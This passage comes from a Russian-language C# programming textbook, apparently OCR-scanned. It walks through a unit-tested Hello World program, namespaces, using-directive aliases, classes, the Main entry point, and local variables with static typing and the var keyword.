Глава 1 используется один класс теста, однако я предпочитаю стиль разработки, когда отдельный класс пишется для каждого сценария, где планируется протестировать определенный класс, с выделением одного метода для каждой из тех вещей, истинность которых необходимо проверить в сце- нарии. Как вы, возможно, уже догадались по имени, что я выбрал для. своего проекта, у моей программы будет только одно поведение: после запуска она должна вывести сообщение «Hello, world!». Поэтому я пе- реименую исходный файл UnitTest1.cs в WhenProgramRuns.cs (англ, при запуске программы). Данный тест должен убедиться, что программа выводит требуемое сообщение при запуске. Сам по себе тест является очень простым, однако, к сожалению, прежде чем его запустить, нужно будет проделать чуть более сложную работу. Все содержимое исходного файла представлено в листинге 1.1; код теста расположен ближе к концу и выделен полужирным начертанием. Листинг 1.1. Класс модульного теста для нашей первой программы using System; using Microsoft.VisualStudio.TestTools.UnitTesting; namespace HelloWorld.Tests { [Testclass] public class WhenProgramRuns { private,string _consoleOutput; [Testlnitialize] public void Initialize() { var w = new System.10.Stringwriter(); Console.SetOut(w); Program.Main(new string[0]); _consoleOutput = w.GetStringBuilder().ToString().Trim(); } [TestMethod] public void SaysHelloWorld() { Assert. AreEqual("Hello, world!", _consoleOutput); } } > 40
Знакомство с языком C# Все особенности этого файла я объясню после того, как представлю вам саму программу. Пока же я отмечу лишь одно: наиболее важной его чертой является то, что он определяет поведение, которым должна обладать наша программа. Тест утверждает, что программа должна вы- водить «Hello, world!». Если это будет не так, он сообщит об ошибке. Сам тест приятно прост, однако код, проводящий подготовительную работу для его запуска, довольно громоздкий. Проблема здесь заклю- чается в том, что данный обязательный для всех книг по программи- рованию первый пример плохо поддается модульному тестированию отдельных классов, поскольку самое меньшее, что можно в данном слу- чае протестировать, это вся программа целиком. Нам необходимо удо- стовериться, что программа выводит на консоль конкретное сообще- ние. В реальном приложении, вероятно, вывод будет осуществляться с использованием определенного рода абстракции, и модульные тесты смогут предоставить фиктивную версию этой абстракции для целей тестирования. Однако в данном случае я хочу, чтобы мое приложение (которое тестируется кодом листинга 1.1) сохранило дух стандартного примера «Hello, world!». Во избежание излишнего усложнения про- граммы, тест перехватывает вывод консоли, чтобы проверить, вывела ли программа то, что от нее требовалось. (Возможности из простран- ства имен System. 10, которые были при этом использованы, я рассмо- трю в главе 16.) Существует и еще одна сложность. Модульный тест по определе- нию тестирует некоторую изолированную и обычно небольшую часть программы. В данном же случае программа является настолько про- стой, что в ней нас интересует только один ее элемент, который выпол- няется при запуске. Это означает, что мой тест должен вызвать точку входа программы. То же самое можно сделать путем запуска програм- мы HelloWorid в отдельном новом процессе, однако перехватить вывод процесса было бы гораздо сложнее по сравнению с внутрипроцессным перехватом, который используется в листинге 1.1. Я просто непосред- ственно вызываю точку входа программы. В приложении на C# точка входа обычно представляет собой метод с именем Main, определенный в классе с именем Program. Соответствующая строка листинга 1.1 при- ведена в листинге 1.2; данная строка передает пустой массив, что имити- рует запуск программы без аргументов командной строки. Листинг 1.2. Вызов метода Program.Main (new string [0]);
Глава 1 К сожалению, данный вызов связан с еще одной проблемой. Точка входа программы, как правило, доступна только для среды выполне- ния — это деталь реализации вашей программы, и обычно нет никакой причины в ее общедоступности. Однако в данном случае я сделаю ис- ключение, поскольку именно там располагается весь код примера. Та- ким образом, чтобы наш код откомпилировался, необходимо внести изменение в основную программу. Соответствующую строку файла Program.cs в проекте HelloWorid демонстрирует листинг 1.3. (Весь этот файл я покажу чуть позже.) Листинг 1.3. Открытие доступа к точке входа программы public class Program { public static void Main(string!] args) { Разместив в начале двух строк ключевое слово public, я сделал этот код доступным для теста, что позволит откомпилироваться коду из ли- стинга 1.1. Того же можно было добиться и другими способами. Я мог бы оставить класс без изменений и пометить метод как internal, после чего применить к программе атрибут InternalsVisibleToAttribute, таким об- разом предоставив доступ только набору тестов. Однако внутренняя за- щита и» атрибуты уровня сборки являются темами последующих глав (соответственно, глав 3 и 15), потому в этом первом примере я решил обойтись более простым способом. Альтернативный подход мы рассмо- трим в главе 15. Фреймворк модульного тестирования компании Microsoft определяет вспомогательный класс с именем PrivateType, по- зволяющий выполнять вызов закрытых методов для целей те- стирования, и вместо того, чтобы открывать доступ к входной точке, я мог бы воспользоваться этим классом. Однако непо- средственный вызов закрытых методов из тестов считается плохой практикой, поскольку тесты должны проверять только видимое поведение кода. Тестирование конкретных особен- ностей структурирования кода редко оказывается полезным. Теперь я готов к тому, чтобы запустить свой тест. Для этого я от- крываю панель Test Explorer (Обозреватель тестов), выполнив коман- 42
Знакомство с языком C# ду меню Test => Windows => Test Explorer (Тест => Окна => Обозрева- тель тестов). Затем я делаю построение проекта с помощью команды меню Build => Build Solution (Построение => Построить решение). При этом панель Test Explorer (Обозреватель тестов) выводит список всех модульных тестов, которые были определены в данном решении. Как вы можете увидеть на рис. 1.5, среда разработки обнаружила мой тест SayHelloWorld. Щелчок по ссылке Run АП (Запустить все) запускает тест на выполнение, которое завершается сбоем, поскольку мы еще не добавили код в нашу основную программу. Описание ошибки можно увидеть в нижней части рис. 1.5; оно говорит о том, что ожидалось со- общение «Hello, world!», однако консольный вывод отсутствовал. Tert Explorer я Е - Search Run Al I Ruru. ▼ SaysHelloWortd Source: WhenProgramRunsxs line 30 О Test Failed - SaysHeloWorid Messages AsaertAreEqual faled. Expected: <Heflo, world!>. Actualso. Elapsed time: 10 ms StadcTrace: When₽rogramRuns5aysHe*oWoridO Рис. 1.5. Панель Test Explorer (Обозреватель тестов) Таким образом, пора взглянуть на программу Hello World и добавить недостающий код. Когда я создавал проект, среда разработки сгенери- ровала много разных файлов, и в том числе Program.cs, содержащий точ- ку входа программы. Код этого файла, включая модификации, которые я сделал в листинге 1.3, приведен в листинге 1.4. Я по очереди объясню каждый из элементов файла; это будет удобным введением в кое-какие важные элементы синтаксиса и структуры кода на языке С#. Листинг 1.4. Файл Program, cs using System; using System. Collections. Generic; using System.Linq; using System.Text; 43
Глава 1 using System.Threading.Tasks; namespace HelloWorid ( public class Program ( public static void Main(string!] args) .{ ) ) ) Начинает данный файл последовательность директив using. Хотя они являются необязательными, их содержит почти любой файл ис- ходного кода; они сообщают компилятору, какие пространства имен мы хотели бы использовать. При этом возникает очевидный вопрос: что та- кое пространство имен? Пространства имен Пространства имен привносят порядок и структурированность в то, что без них могло бы находиться в ужасном хаосе. Библиотека классов .NET Framework содержит более 10 000 классов; еще больше таковых предлагают сторонние библиотеки, не говоря уже о классах, которые вы можете написать сами. Работа со столь большим количеством имено- ванных сущностей связана с двумя проблемами. Во-первых, чем больше классов, тем труднее гарантировать уникальность; для этого приходит- ся либо использовать очень длинные имена, либо включать в имена на- боры случайных данных. Во-вторых, возникают сложности с поиском нужных API-интерфейсов; если вы не знаете нужное вам имя и не може- те догадаться, каким оно должно быть, то очень трудно найти то, что вам нужно, в неструктурированном списке из тысяч элементов. Простран- ства имен решают обе эти проблемы. Почти все типы платформы .NET определены в том или ином про- странстве имен. При этом типы, поставляемые компанией Microsoft, включаются в особые пространства имен. Если тип — часть платформы .NET Framework, содержащее его пространство имен начинается со сло- ва System, если же он является частью некоторой технологии компании Microsoft, которая не входит в основную часть платформы .NET, про- странство имен обычно начинается со слова Microsoft. Пространства имен библиотек от других поставщиков, как правило, начинаются с на- 44
Знакомство с языком C# звания компании, в то время как библиотеки с открытым исходным ко- дом часто используют название проекта. Вам не обязательно размещать свои типы в пространствах имен, тем не менее делать это рекомендует- ся. C# не обращается с пространством имен System каким-либо особым образом, так что ничто не мешает вам использовать его для своих типов; однако это будет не самой удачной идеей, поскольку такая практика обычно приводит в замешательство других разработчиков. Для своего кода следует использовать какое-либо отличительное название, напри- мер, название своей компании или проекта. Пространство имен обычно несет в себе подсказку о назначении типа. Например, все типы, имеющие отношение к работе с файлами, можно найти в пространстве имен System. 10, а типы, имеющие отношение к ра- боте с сетевыми соединениями, находятся в пространстве имен System. Net. Пространства имен могут образовывать некоторую иерархию. Так, System содержит не только непосредственно типы, но и другие простран- ства имен, как, например, System.Net, которые зачастую тоже^содержат пространства имен, такие как Sys tern. Net. Sockets и System.Net.Mail. Эти примеры показывают, что пространства имен выступают в качестве своего рода описания, помогающего вам ориентироваться в библиотеке. Напри- мер, если бы вам требовалось найти типы, имеющие отношение к работе с регулярными выражениями, вы могли бы просмотреть список доступ- ных пространств имен и заметить там System.Text. Заглянув в него, вы бы обнаружили пространство имен System. Text. RegularExpressions, при этом вы были бы вполне уверены в том, что искали в правильном месте. Пространства имен также позволяют обеспечить уникальность. Про- странство имен, в котором определяется тип, является частью полного имени этого типа. Потому библиотеки могут использовать для своего содержимого короткие, простые имена. Так, API-интерфейс для работы с регулярными выражениями включает класс Capture, представляющий результаты захвата регулярного выражения. Если же вы займетесь раз- работкой программного обеспечения, имеющего дело с изображениями, термин «захват» будет использоваться в более общепринятом смысле, означая получение некоторых данных изображения; в таком случае вы можете выбрать Capture в качестве наиболее подходящего описательно- го имени для своего класса. Было бы очень неприятно отказываться от этого слова только потому, что оно уже занято другим классом, особенно если б код для захвата изображений не нуждался в применении регу- лярных выражений, то есть вы даже не планировали бы использовать существующий тип Capture. 45
Глава 1 Однако на деле отказываться от имени Capture совсем не обязатель- но. Его можно применять для обоих типов, и их имена все равно будут различаться. Класс Capture для работы с регулярными выражениями обладает полным именем System. Text. RegularExpressions. Capture, и аналогичным образом полное имя вашего класса будет включать то пространство имен, которое его вмещает (например, Spiff ingSoftworks. Imaging.Capture). При желании можно записывать полностью квалифицированное имя типа при каждом обращении к типу; большинство разработчи- ков, однако, стремится избавить себя от столь утомительного занятия. Именно здесь вступают в игру директивы using, которые вы можете ви- деть в начале листинга 1.4. Эти директивы указывают, какие простран- ства имен намеревается использовать данный исходный файл. В боль- шинстве случаев вы будете редактировать этот список в соответствии с потребностями вашего проекта, однако, чтобы вам было легче начать, Visual Studio предоставляет небольшую выборку часто используемых пространств имен, включая различные их комбинации в зависимости от контекста. Так, например, при добавлении класса, представляющего элемент управления пользовательского интерфейса, Visual Studio поме- стит в список ряд пространств имен, имеющих отношение к пользова- тельскому интерфейсу. Разместив в файле объявления using, вы можете использовать для обращения к классу короткие, неквалифицированные имена. Ког- да я наконец добавлю строку кода, которая позволит моему примеру HelioWorld выполнить свою работу, я буду использовать класс System. Console, но благодаря наличию первой директивы using я смогу обра- щаться к нему, используя короткое имя Console. На самом деле это един- ственный класс, который мне нужен, поэтому все остальные директивы using можно удалить. Ранее вы видели, что узел References (Ссылки) проекта опи- сывает, какие библиотеки последний использует. Можно по- Э?’думать, что эта информация является избыточной — разве не способен компилятор определить, какие внешние библиотеки мы задействуем, исходя из пространств имен? Такое было бы возможно при наличии прямого соответствия между исполь- зуемыми пространствами имен и библиотеками, которого на самом деле нет. Хотя в ряде случаев существует очевидная взаимосвязь — например, библиотека System.Web.dll содер- 46
Знакомство с языком C# жит классы из пространства имен System.Web, зачастую такая взаимосвязь отсутствует — например, библиотека классов со- держит библиотеку System.Core.dll, однако пространства имен System.Core не существует. Таким образом, среде разработки необходимо сообщить и о том, какие библиотеки задействует ваш проект, и о том, какие пространства имен использует каж- дый конкретный файл исходного кода. Мы рассмотрим природу и структуру библиотечных файлов более подробно в главе 12. Даже при использовании пространств имен случаются неоднознач- ности. Вы можете взять два пространства имен, и в обоих будут опре- делены классы с одинаковым именем. Если вам понадобится какой-то из них, вам нужно будет сослаться на него явным образом, указав пол- ное имя. Однако если файл требует многократного обращения к таким классам, вы можете сократить объем вводимого текста даже в этом слу- чае: достаточно будет один раз указать полное имя класса, определив его псевдоним. Код в листинге 1.5 использует два псевдонима для раз- решения конфликта, с которым мне не раз приходилось сталкиваться. Фреймворк платформы .NET для построения пользовательского интер- фейса, WPF (Windows Presentation Foundation, основа представления Windows), определяет класс Path для работы с кривыми Безье, многоу- гольниками и другими фигурами, однако также существует класс Path для работы с путями файловой системы; вам могут потребоваться оба этих типа для создания графического представления содержимого фай- ла. Если просто добавить директивы using для обоих пространств имен, то короткое неквалифицированное имя Path будет неоднозначным. Од- нако, как показывает листинг 1.5, вы можете определить отличающиеся псевдонимы для каждого пространства имен. Листинг 1.5. Разрешение неоднозначности с помощью псевдонимов using System.10; using System.Windows.Shapes; using loPath = System.10.Path; using WpfPath = Sys ten. Windows. Shapes. Fath; Определив эти псевдонимы, вы можете использовать loPath как синоним имени класса Path, имеющего отношение к работе с файлами, и WpfPath — как синоним имени графического класса Path. Вернемся к нашему примеру HelloWorid. Непосредственно после директив using следует объявление пространства имен. В то время как 47
Глава 1 директивы using объявляют, какие пространства имен будет использо- вать наш код, данная строка указывает, в каком пространстве имен этот код находится сам. Она приведена в листинге 1.6; непосредственно за ней следует открывающая фигурная скобка ({). Все, что расположено между этой скобкой и закрывающей скобкой в конце файла, будет на- ходиться в пространстве имен HelioWorld. Кстати, следует заметить, что обращаться к типам в их собственном пространстве имен можно без ква- лификации, не используя при этом директиву using. Листинг 1.6. Объявление пространства имен namespace HelloWorld ( Visual Studio генерирует объявление пространства имен, используя для него имя вашего проекта. Вам не обязательно сохранять это имя — проект может содержать любой набор пространств имен, и вы вольны отредактировать объявление пространства имен нужным вам образом. Однако чтобы обеспечить согласованное использование в проекте про- странства имен, отличного от имени проекта, об этом следует сообщить среде разработки, поскольку такое сгенерированное объявление помеща- ется не только в этот первый файл, Program.cs. По умолчанию Visual Studio генерирует объявление пространства имен на основе имени проекта при каждом добавлении нового файла. Вы можете сообщить среде разработ- ки о необходимости использовать для новых файлов другое пространство имен, отредактировав свойства проекта. Если выполнить двойной щелчок по узлу Properties (Свойства) внутри проекта на панели Solution Explorer (Обозреватель решений), на экран будет выведено окно свойств проекта; перейдя на’ вкладу Application (Приложение), вы найдете поле ввода Default namespace (Пространство имен по умолчанию). Любое имя, кото- рое вы введете в этом поле, среда разработки станет использовать для гене- рирования объявлений пространств имен любых новых файлов. (Однако существующие файлы при этом останутся без изменений.) Вложенные пространства имен - Библиотека классов платформы .NET Framework прибегает к вло- жению пространств имен, и порой очень активно. Например, простран- ство имен System содержит много важных типов, однако большинство этих типов находится в более конкретизированных пространствах имен, таких как System.Net или System.Net.Sockets. Если того требует слож- ность вашего проекта, вы тоже можете делать свои пространства имен 48
Знакомство с языком C# вложенными. Для этого существуют два способа. Во-первых, вы може- те вложить одно объявление пространства имен в другое, как показано в листинге 1.7. Листинг 1,7. Вложение одного объявления пространства имен в другое namespace МуАрр { namespace Storage { } } Другой способ состоит в том, чтобы просто указать полное простран- ство имен в одном объявлении, как в листинге 1.8. Этот стиль исполь- зуется чаще. Листинг 1.8. Вложение пространства имен с использованием одного объявления namespace МуАрр.Storage { } Любой код, который вы напишете во вложенном пространстве имен, сможет обращаться без квалификации не только к типам этого же про- странства имен, но и к типам внешнего пространства имен. Код в ли- стинге 1.7 или 1.8 мог бы обращаться без явной квалификации и дирек- тив using к типам и в пространстве имен МуАрр. Storage, и в пространстве имен МуАрр. Согласно принятому соглашению, при определении вложенных пространств имен следует сделать соответствующую иерархию папок. Если вы создадите проект с именем МуАрр, то по умолчанию при добав- лении в проект новых классов Visual Studio будет размещать их в про- странстве имен МуАрр; если же затем вы создадите в проекте новую папку (что можно сделать на панели Solution Explorer (Обозреватель реше- ний)), назвав ее, к примеру, Storage, то все новые классы, создаваемые вами в этой папке, Visual Studio будет размещать в пространстве имен МуАрр.Storage. Опять же, вам не обязательно сохранять это простран- ство имен — Visual Studio лишь генерирует объявление пространства имен при создании файла, и вы вольны его изменить. Компилятору не 49
Глава 1 важно, будет ли пространство имен соответствовать иерархии папок или нет. Однако, поскольку данное соглашение поддерживается средой разработки, вы можете значительно облегчить себе жизнь, если станете ему следовать. Классы Внутри объявления пространства имен мой файл Program.cs ойреде- ляет класс. Эту часть файла (включающую ключевые слова public, кото- рые я добавил ранее) демонстрирует листинг 1.9. За ключевым словом class следует имя, и, конечно, поскольку данный код находится внутри объявления пространства имен, результирующим полным именем типа будет HelloWorid. Program. Как вы можете видеть, C# использует фигур- ные скобки ({}) для ограничения самых разных вещей — мы уже видели, как они использовались для пространств имен, здесь же они применя- ются для класса и метода этого класса. Листинг 1.9. Класс с методом public class Program ( public static void Main(string!] args) ( ) ) Классы являются в C# механизмом для определения сущностей, со- четающих в себе состояние и поведение; это общепринятая объектно- ориентированная идиома. Однако, как нередко бывает, данный класс содержит лишь один метод. C# не поддерживает использование гло- бальных методов — любой код должен быть написан как член некоторо- го типа. Таким образом, этот класс не представляет особого интереса — его единственное назначение состоит в том, чтобы выступить в качестве контейнера для точки-входа программы. В главе 3 мы рассмотрим иные, более интересные способы применения классов. Точка входа программы По умолчанию компилятор C# выполнит поиск метода с именем Main и автоматически использует его как точку входа. Если это дей- ствительно нужно, можно сообщить компилятору, что следует при- 50
Знакомство с языком C# менить другой метод, однако большинство'программ придерживается принятого соглашения. Вне зависимости от того, будет ли точка входа определяться конфигурацией или соглашением, данный метод должен удовлетворять ряду требований, каждое из которых очевидно следует из листинга 1.9. Точка входа программы должна быть статическим методом] это означает, что для запуска метода не обязательно создавать экземпляр вмещающего типа (в данном случае класса Program). Метод не должен ничего возвращать, на что указывает ключевое слово void, однако при желании вы можете указать тип int; это позволит программе возвра- щать код завершения, помещаемый операционной системой в отчет, по- сле того как программа закончит работу. Данный метод также должен либо не принимать никаких аргументов (что обозначается с помощью пустой пары скобок после имени метода), либо, как в листинге 1.9, при- нимать один аргумент — массив текстовых строк, содержащий аргумен- ты командной строки. Некоторые языки из семейства С-подобных также включают j в число аргументов имя программы на том основании, что оно является частью вводимого в командной строке текста. C# не придерживается этого соглашения. При запуске программы без аргументов длина массива будет равна 0. За объявлением метода следует тело метода, в данном случае пустое. Итак, мы рассмотрели весь код, сгенерированный средой разработки в этом файле; нам остается лишь добавить некоторый код внутри фи- гурных скобок, ограничивающих тело метода. Как вы помните, выпол- нение нашего теста закончилось сбоем по той причине, что программа не выполняет единственное предъявляемое к ней требование: вывести определенное сообщение на консоль. Чтобы удовлетворить это требо- вание, необходимо поместить в тело метода строку кода, приведенную в листинге 1.10. Листинг 1.10. Вывод сообщения Console.WriteLine ("Hello, world!"); Если теперь я снова запущу на выполнение тесты, панель Test Explorer (Обозреватель тестов) отобразит напротив моего теста га- лочку и сообщит, что тест был успешно пройден. Таким образом ста- 51
Глава 1 новится очевидно, что наш код работает. Мы также можем провести неформальную проверку, запустив саму программу. Это делается через меню Debug (Отладка). Команда Start Debugging (Начать отладку) запустит программу в отладчике, однако та выполнится так быстро, что вы не успеете увидеть результат. Поэтому, возможно, вы захоти- те выбрать команду Start Without Debugging (Запуск без отладки), которая производит запуск без подключения отладчика и, кроме трго, оставляет открытым окно консоли с результатами работы программы. Сделав так (или нажав комбинацию клавиш Ctrl+F5), вы увидите, что программа выводит в окне консоли традиционное сообщение «Hello, world!»; окно останется открытым, пока вы не нажмете любую кла- вишу. Модульные тесты Теперь, когда наша программа уже работает, я хочу вернуться к своему первому файлу с тестом, поскольку он иллюстрирует неко- торые черты языка С#, отсутствующие в коде собственно программы. Код в листинге 1.1 начинается почти так же, как и наша программа: за последовательностью директив using следует объявление простран- ства имен, в данном случае HelloWorld.Tests в соответствии с именем проекта тестов. Однако класс выглядит здесь несколько иначе, см. ли- стинг 1.11. Ьистинг 1.11. Класс теста с атрибутом [Testclass] public class WhenProgramRuns { Непосредственно перед объявлением класса расположен текст [Testclass]. Это атрибут. Атрибуты — аннотации, которые можно применять к классам, методам и другим элементам кода. Большин- ство из них не представляют собой ничего сами по себе — компилятор фиксирует факт наличия атрибута в компилируемом результате, но не более того. Атрибуты полезны только в том случае, когда какой-либо инструмент выполняет поиск по ним, поэтому их, как правило, исполь- зуют фреймворки. В данном случае имеет место фреймворк модульного тестирования компании Microsoft, который выполняет поиск классов, аннотированных атрибутом Testclass. Классы, не обладающие этой ан- нотацией, данный фреймворк игнорирует. Атрибуты обычно являются 52
Знакомство с языком C# специфичными для некоторого конкретного фреймворка, и вы можете определить свои атрибуты, как вы увидите «тлаве 15. Два метода класса также аннотированы атрибутами. Соответ- ствующие выдержки листинга 1.1 демонстрирует листинг 1.12. Bqe методы, помеченные атрибутом [Testlnitialize], выполняются одно- кратно для каждого содержащегося в классе теста перед запуском не- посредственно метода теста. И, как вы, конечно, догадались, атрибут [TestMethod] сообщает исполнителю тестов, какие методы представ- ляют тесты. Листинг 1.12. Аннотированные методы [Testlnitialize] public void Initialize() [TestMethod] public void SaysHelloWorldO Следует отметить еще одну особенность кода в листинге 1.1: <;одер- жимое класса начинается с поля, приведенного снова в листинге 1.13. Поля содержат данные. В нашем случае метод Initialize сохраняет консольный вывод, который он перехватывает во время запуска про- граммы, в поле consoleoutput, где информацию могут просмотреть ме- тоды тестов. Данное поле помечено как private; это говорит о том, что оно предназначено для собственных нужд класса. Компилятор C# раз- решит доступ к таким данным только коду, который находится в том же классе. Листинг 1.13. Поле private string _consoleOutput; Итак, на этом мы окончили рассмотрение элементов программы и проекта теста, выполняющего проверку правильности ее работы. Резюме В данной главе мы познакомились с базовой структурой программ на языке С#. Я создал решение в среде разработки Visual Studio, кото- рое содержало два проекта — один для тестов и один для самой програм- 53
Глава 1 мы. Это был достаточно простой пример, потому в обоих проектах име- лось только по одному интересному для нас файлу исходного кода. Оба этих файла обладали сходной структурой. Оба начинались с директив using, указывающих, какие типы используют файлы. Объявление про- странства имен сообщало, в каком пространстве имен находится файл, и оно содержало класс с одним или несколькими методами или другими членами, такими как поля. Типы и их члены будут рассмотрены гораздо подробнее в главе 3, но сначала в главе 2 мы остановимся на коде методов, позволяющих выра- зить, что должна сделать наша программа.
Глава 2 ОСНОВЫ ПРОГРАММИРОВАНИЯ НАС# Любой язык программирования должен предоставлять определен- ные возможности, в первую очередь — позволять выразить в коде не- обходимые нам вычисления и операции. Программы должны быть спо- собными принимать решения на основе входных данных. В некоторых случаях нам может потребоваться циклическое выполнение тех или иных задач. Эти фундаментальные возможности составляют самую суть программирования, и в данной главе мы рассмотрим, как они реализо- ваны в С#. В зависимости от уровня вашей предыдущей подготовки некоторая часть материала этой главы может показаться вам очень знакомой. Как уже говорилось, C# относится к семейству С-подобных языков. С явля- ется языком программирования с огромным влиянием, и значительную часть его синтаксиса заимствовали многие другие языки. Среди них су- ществуют прямые наследники, такие как C++ и Objective-C. Более отда- ленные родственники С, например, Java и JavaScript, хотя и не обладают совместимостью с этим языком, тем не менее тоже копируют многие аспекты его синтаксиса. Если вам приходилось иметь дело с одним из этих языков, то многие из базовых возможностей С#, о которых пойдет речь далее, уже будут вам знакомы. В главе 1 речь шла о базовой структуре программы. В этой главе я стану рассматривать только код внутри методов. C# требует опреде- ленной доли структурированности: код составляется из инструкций, размещаемых внутри метода, который, в свою очередь, принадлежит типу, тип обычно находится внутри пространства имен, и все это за- ключено в файле, который является частью проекта среды разработки Visual Studio, входящего в состав решения. Для ясности большинство примеров этой главы будет показывать интересующий нас код в отдель- ности, как в листинге 2.1. Листинг 2.1. Код и ничего лишнего Console. WriteLine ("Hello, world!") ; 55
Глава 2 В отсутствие специальных указаний об ином подобная выдержка яв- ляется сокращенным способом представления кода в контексте внутри подходящей программы. Таким образом, листинг 2.1 — сокращенный вариант листинга 2.2. Листинг 2.2. Весь код using System; namespace Hello { class Program { static void Main() { Console.WriteLine("Hello, world!"); 1 } } Несмотря на это, данная глава посвящена базовым элементам языка, эта книга рассчитана на тех, кто уже знаком хотя бы с одним языком программирования. Так что, я буду сравнительно краток в описании наиболее привычных аспектов языка и остановлюсь более подробно на тех, которые являются особенностью С#. Локальные переменные В неизбежном примере «Hello, world!» отсутствует важный элемент работы программ: он фактически не имеет дела с информацией. Про- граммы, выполняющие какую-либо полезную работу, обычно получают, обрабатывают и генерируют некоторые данные, поэтому способность определять и идентифицировать информацию является одним из наи- более важных элементов языка. Как и большинство других языков про- граммирования, C# позволяет определять локальные переменные, пред- ставляющие собой именованные элементы внутри метода, каждый из которых содержит порцию информации. В спецификации C# под термином «переменная» могут под- *4’ л . разумеваться не только локальные переменные, но и поля ——ЛК*-'объектов и элементы массивов. Данный раздел посвящен исключительно локальным переменным, однако постоянное 56
Основы программирования на C# употребление слова «локальная» было бы утомительным для читателя. Потому далее в этом разделе я буду использовать термин «переменная», подразумевая только локальные пере- менные. C# является языком со статической типизацией] это говорит о том, что тип данных любого элемента кода, представляющего или генери- рующего информацию, такого как переменная или выражение, опреде- ляется на этапе компиляции. Существуют также языки с динамической типизацией, такие как JavaScript, типы данных в них определяются на этапе выполнения*. Проще всего статическую типизацию языка C# в действии можно увидеть в простых объявлениях переменных, подобных приведенным в листинге 2.3. Каждое из них начинается с типа данных: первые две переменные относятся к типу string, а две следующие — к типу int. Листинг 2.3. Объявления переменных string parti = "главный вопрос"; string part2 = "чего-либо"; int theAnswer = 42; int something; Непосредственно за типом данных следует имя переменной. Оно должно начинаться с буквы или символа подчеркивания; далее может следовать любая комбинация символов, перечисленных в приложении «Синтаксис идентификаторов и шаблонов» спецификации Unicode. Если используются только символы из диапазона ASCII, это подразу- мевает буквы, десятичные цифры и символ подчеркивания. Если при- меняется полный диапазон Unicode, это также включает различные диакритические знаки и малоизвестные знаки препинания (но только предназначенные для использования внутри слов, — символы, которые согласно Unicode предназначены для разделения слов, использовать нельзя). Те же правила применяются в C# и в отношении символов до- пустимых идентификаторов для любых пользовательских сущностей, таких как класс или метод. * Хотя на самом деле в C# присутствует поддержка динамической типизации с ис- пользованием ключевого слова dynamic, она включает немного необычный шаг встраи- вания в статическую типизацию: при этом динамические переменные обладают статиче- ским типом dynamic. Мы остановимся на данной теме подробнее в главе 14. 57
Глава 2 Листинг 2.3 демонстрирует несколько способов объявления пере- менной. Объявления первых трех переменных включают инициализа- тор, который предоставляет их начальные значения. Однако, как пока- зывает пример последней переменной, это не является обязательным, поскольку переменной можно присвоить новое значение в любом месте программы. Будучи продолжением листинга 2.3, листинг 2.4 показы- вает, что присвоить новое значение переменной можно независимо от того, обладает она начальным значением или нет. Листинг 2.4. Присвоение значений ранее объявленным переменным part2 = "жизни, Вселенной и всего такого"; something = 123; Поскольку переменные обладают некоторым статическим типом, компилятор будет отклонять попытки присвоить им данные неверного типа. Потому, если бы мы продолжили листинг 2.3 кодом листинга 2.5, это вызвало бы недовольство компилятора. Ему известно, что перемен- ная с именем theAnswer обладает типом int, а это числовой тип, таким образом, при попытке присвоить ей текстовую строку он выдаст сооб- щение об ошибке. Листинг 2.5. Ошибка: неверный тип данных theAnswer = "Компилятор отклонит это"; Вы могли бы сделать подобное в динамическом языке, например, в JavaScript, поскольку в таких языках переменная не обладает собствен- ным типом — важен лишь тип содержащегося в ней значения, и по мере выполнения кода этот тип может меняться. Нечто подобное в C# можно сделать, объявив переменную с типом’object (о котором мы поговорим далее в разделе «Встроенные типы данных») или dynamic (о чем я рас- скажу в главе 14). Однако более типичной практикой для C# является использование переменных с более конкретизированным типом. Статический тип не всегда предоставляет полную картину, * причиной чему является наследование. Я остановлюсь на этом —подробнее в главе 6, а пока достаточно помнить, что некото- рые типы открыты для расширения посредством наследова- ния, и если переменная использует такой тип, то она может ссылаться на какой-то объект с типом, производным от ста- тического. Гибкость такого же рода предоставляют интерфей- сы, о которых пойдет речь в главе 3. Однако статический тип 58
Основы программирования на C# всегда предписывает, какие операции можно осуществлять над переменной, и если вы захотите использовать дополни- тельные возможности, специфичные для некоторого произ- водного типа, вы не сумеете это сделать через переменную базового типа. Тип переменной не обязательно указывать явно. Вы можете позво- лить компилятору установить его самостоятельно, поместив на месте типа данных ключевое слово var. В листинге 2.6 представлены первые три объявления переменных из листинга 2.3, в которых на этот раз вме- сто явного указания типа данных используется ключевое слово var. Листинг 2.6. Неявное задание типа переменных с использованием ключевого слова var var parti = "главный вопрос"; var part2 = "чего-либо"; var theAnswer = 40 + 2; Такой код зачастую вводит в заблуждение тех, кто знаком с J avaScript, поскольку в этом языке тоже есть ключевое слово уаг, которое исполь- зуется внешне аналогичным образом. Однако все же в C# это ключевое слово действует не так, как в JavaScript: все заданные с его помощью переменные по-прежнему обладают статическим типом. Изменение со- стоит лишь в том, что мы не указываем, что там за тип — а позволяем сделать это за нас компилятору. Он может рассмотреть инициализаторы и увидеть, что первые две переменные являются строками, а третья — целым числом. (Вот почему я не включил в данный листинг объявление четвертой переменной из листинга 2.3, something. Поскольку у этой пе- ременной нет инициализатора, у компилятора не было бы возможности определить ее тип. Если вы попытаетесь использовать ключевое слово var без инициализатора, компилятор выдаст сообщение об ошибке.) Убедиться в том, что переменные, объявленные с помощью ключево- го слова var, обладают статическим типом, можно, попробовав присво- ить им какое-либо значение другого типа. Мы могли бы повторить то же самое, что мы делали в листинге 2.5, но на сей раз для переменной, объяв- ленной в var-стиле. Это пытается сделать листинг 2.7, и результатом ста- новится точно такая же ошибка компилятора, поскольку мы совершаем те же неправильные действия — пытаемся присвоить текстовую строку переменной несовместимого типа. Переменная theAnswer в данном слу- чае обладает типом int, несмотря на то что мы не указали этого явно. 59
Глава 2 Листинг 2.7. Ошибка: неверный тип (снова) var theAnswer = 42; theAnswer = "Компилятор отклонит это"; Мнения в отношении того, как и когда следует использовать ключе- вое слово var, разделились, о чем вы можете прочитать во врезке «С var или без var?». С var или без var? Объявление переменной в var-стиле представляет собой точный эк- вивалент объявления переменной с явным указанием типа, в связи с чем возникает вопрос: а как будет лучше? В некотором смысле это не имеет значения, поскольку они эквивалентны. Однако если вы желаете быть последовательным в своем коде, то, возможно, захо- тите придерживаться какого-то одного стиля. Мнения в отношении того, какой является «лучшим», варьируются. Некоторые разработчики не любят нажимать клавиши большее чис- ло раз, чем это абсолютно необходимо. Ввод дополнительного тек- ста для явного указания типа переменных они считают ненужными «церемониями», которые следует заменить более лаконичным клю- чевым словом var. Компилятор может установить тип за вас, потому следует позволить ему сделать эту работу, вместо того чтобы делать ее самим. Я придерживаюсь иной точки зрения. Я обнаружил, что трачу боль- ше времени на чтение своего кода, нежели на его написание — при этом доминирующую роль играют 